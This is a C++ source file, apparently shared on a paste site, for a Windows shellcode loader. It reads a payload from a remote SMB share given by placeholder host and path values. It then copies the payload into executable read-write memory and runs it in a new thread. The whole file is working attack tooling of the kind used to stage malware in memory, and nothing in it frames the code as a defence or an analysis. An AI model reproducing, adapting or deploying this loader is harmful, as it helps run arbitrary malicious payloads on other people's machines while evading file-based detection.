shareable.cpp 3.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128
  1. #include <windows.h>
  2. #include <winnetwk.h>
  3. #include <wchar.h>
  4. // Function prototype for ThreadFunction
  5. DWORD WINAPI ThreadFunction(LPVOID lpParameter);
  6. // Print error messages
  7. void PrintError(const wchar_t* action) {
  8. wprintf(L"[!] %s Failed With Error : %d \n", action, GetLastError());
  9. }
  10. BOOL FindFileShare(LPCWSTR szServer, LPCWSTR szFilePath, PBYTE* binaryData, SIZE_T* binarySize) {
  11. BOOL operationSuccess = TRUE;
  12. PBYTE allocatedMemory = NULL;
  13. WCHAR szFullUNCPath[MAX_PATH];
  14. swprintf_s(szFullUNCPath, MAX_PATH, L"\\\\%s\\%s", szServer, szFilePath);
  15. wprintf(L"Attempting to open file: %s\n", szFullUNCPath);
  16. HANDLE hFile = CreateFileW(szFullUNCPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  17. if (hFile == INVALID_HANDLE_VALUE) {
  18. PrintError(L"CreateFileW");
  19. operationSuccess = FALSE;
  20. }
  21. else {
  22. wprintf(L"File opened successfully.\n");
  23. DWORD fileSize = GetFileSize(hFile, NULL);
  24. if (fileSize == INVALID_FILE_SIZE) {
  25. PrintError(L"GetFileSize");
  26. operationSuccess = FALSE;
  27. }
  28. else {
  29. wprintf(L"File size: %u bytes\n", fileSize);
  30. allocatedMemory = (PBYTE)LocalAlloc(LPTR, fileSize);
  31. if (allocatedMemory == NULL) {
  32. PrintError(L"LocalAlloc");
  33. operationSuccess = FALSE;
  34. }
  35. else {
  36. wprintf(L"Allocated memory for file content.\n");
  37. DWORD bytesRead;
  38. if (!ReadFile(hFile, allocatedMemory, fileSize, &bytesRead, NULL)) {
  39. PrintError(L"ReadFile");
  40. operationSuccess = FALSE;
  41. }
  42. *binaryData= allocatedMemory;
  43. *binarySize = bytesRead;
  44. }
  45. }
  46. CloseHandle(hFile);
  47. }
  48. return operationSuccess;
  49. }
  50. BOOL ExecuteBinaryInMemory(const PBYTE BinaryData, SIZE_T DataSize) {
  51. wprintf(L"Executing binary in memory...\n");
  52. LPVOID pMemory = VirtualAlloc(NULL, DataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  53. if (pMemory == NULL) {
  54. PrintError(L"VirtualAlloc");
  55. return FALSE;
  56. }
  57. memcpy(pMemory, BinaryData, DataSize);
  58. HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, pMemory, 0, NULL);
  59. if (hThread == NULL) {
  60. PrintError(L"CreateThread");
  61. VirtualFree(pMemory, 0, MEM_RELEASE);
  62. return FALSE;
  63. }
  64. WaitForSingleObject(hThread, INFINITE);
  65. CloseHandle(hThread);
  66. VirtualFree(pMemory, 0, MEM_RELEASE);
  67. wprintf(L"Execution complete.\n");
  68. return TRUE;
  69. }
  70. DWORD WINAPI ThreadFunction(LPVOID lpParameter) {
  71. wprintf(L"Thread started...\n");
  72. PBYTE BinaryData = (PBYTE)lpParameter;
  73. typedef void (*FunctionPointer)();
  74. FunctionPointer pFunction = (FunctionPointer)BinaryData;
  75. wprintf(L"Calling the shellcode function...\n");
  76. pFunction();
  77. wprintf(L"Thread completed.\n");
  78. return 0;
  79. }
  80. int main() { // Change wmain to main
  81. LPCWSTR szServer = L"HOSTNAME";
  82. LPCWSTR szFilePath = L"PATH\\TO\\SHELCODE\\FILE";
  83. wprintf(L"Attempting to load binary from server %s and file path %s\n", szServer, szFilePath);
  84. PBYTE Payload;
  85. SIZE_T PayloadSize;
  86. BOOL success = FindFileShare(szServer, szFilePath, &Payload, &PayloadSize);
  87. if (success) {
  88. wprintf(L"Binary loaded successfully. Executing...\n");
  89. success = ExecuteBinaryInMemory(Payload, PayloadSize);
  90. LocalFree(Payload);
  91. }
  92. return success ? 0 : 1;
  93. }